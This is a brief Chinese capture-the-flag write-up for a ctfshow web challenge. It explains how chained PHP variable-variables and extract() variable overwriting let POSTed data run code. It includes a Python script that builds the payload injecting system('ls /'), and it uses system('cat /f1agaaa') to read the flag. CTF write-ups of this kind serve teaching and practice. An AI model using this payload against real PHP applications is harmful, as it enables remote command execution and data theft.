ctfshow--web--我的眼里只有$
考点:$的多重取值、extract函数的变量覆盖
阅读源码,我们可以发现共有36个$符号,也就是说需要构造36层取值,且第一层必须是’_’
【解题hint】
注意都到在POST中传入。首先是给$赋值:=a,再给$a赋值,a=b······以此类推一共有36个$,需要赋值36次。
写脚本python
import string
a='_=a&'
s=string.ascii_letters
code="system('ls /');"
for i in range(35):
a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)
通过post传参
注意到新回显中“flagaaa”,更换命令执行
system('cat /f1agaaa');
拿到flag
浙公网安备 33010602011771号